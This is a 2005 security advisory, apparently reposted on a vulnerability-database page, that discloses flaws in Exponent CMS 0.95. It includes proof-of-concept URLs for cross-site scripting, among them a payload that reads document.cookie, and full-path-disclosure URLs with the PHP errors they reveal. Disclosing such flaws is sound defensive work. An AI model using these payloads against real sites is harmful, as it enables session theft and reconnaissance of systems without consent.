Lucene search
K

Echo Security Advisory 2005.10

🗓️ 26 Jan 2005 00:00:00Reported by y3dipsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

Vulnerabilities in Exponent Content Management System include Cross-site scripting and path disclosures.

Code
`  
  
ECHO_ADV_02$2004  
  
---------------------------------------------------------------------------  
Vulnerabilities in eXponent  
---------------------------------------------------------------------------  
  
Author: y3dips  
Date: Januari, 25th 2005  
Location: Indonesia, Jakarta  
Web: http://echo.or.id/adv/adv010-y3dips-2005.txt  
  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Exponent Content Management System  
  
  
Exponent is an exciting new web-based content management system. It makes  
creating and maintaining websites easy for non-technical users, while  
providing site managers the power and flexibility to add new features,  
completely customize the layout, and delegate responsibilities to other  
users.  
  
by: James Hunt and the OIC Group  
  
http://www.exponentcms.org  
  
Version :  
- Stable version of 0.95 Exponent CMS.  
  
---------------------------------------------------------------------------  
  
Vulnerabilities:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
A. Cross-site scripting aka XSS:  
  
A1 - XSS through unsanitaized user submitted in module variable  
  
http://[SITE]/expo/index.php?action=view&id=2&module=<h1>Tes</h1>  
  
POC : http://[SITE]/expo/index.php?action=view&id=2&module=<h1>Tes</h1>  
  
  
A2. Session ID at module Variable  
  
http://[SITE]/endon/mod.php?action=[BLABLA]&module=[XSS]  
  
POC :  
  
http://[SITE]/expo/index.php?action=createuser&module=%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
  
B. Full Path disclosures  
  
Some scripts in subsystems directories are vulnerable against direct access  
and we will see standard php error messages revealing full path to script  
  
This vulnerable is because undeffined pathos_core_version variable ,  
and the vulnerable files has the same format name (:)~)  
  
---.info.---.php  
  
  
POC : http://localhost/expo/subsystems/search.info.php  
  
Fatal error: Call to undefined function: pathos_core_version() in  
/var/www/html/expo/subsystems/search.info.php on line 52  
  
POC :  
  
http://localhost/expo/subsystems/permissions.info.php  
  
  
POC :  
http://localhost/expo/subsystems/security.info.php  
  
Fatal error: Call to undefined function: pathos_core_version() in  
/var/www/html/expo/subsystems/security.info.php on line 51  
  
Fatal error: Call to undefined function: pathos_core_version() in  
/var/www/html/expo/subsystems/permissions.info.php on line 51  
  
Another vulnerable path  
  
- http://localhost/expo/sdk/blanks/formcontrol.php  
- http://localhost/expo/sdk/blanks/file_modules.php  
  
  
---------------------------------------------------------------------------  
  
Shoutz:  
~~~~~~~  
  
~ echo|staff (m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to, lirva32)  
~ [email protected] ,  
~ #e-c-h-o@DALNET  
  
---------------------------------------------------------------------------  
Contact:  
~~~~~~~~  
  
y3dips || echo|staff || y3dips[at]gmail[dot]com  
Homepage: http://y3dips.echo.or.id/  
  
-------------------------------- [ EOF ] ----------------------------------  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation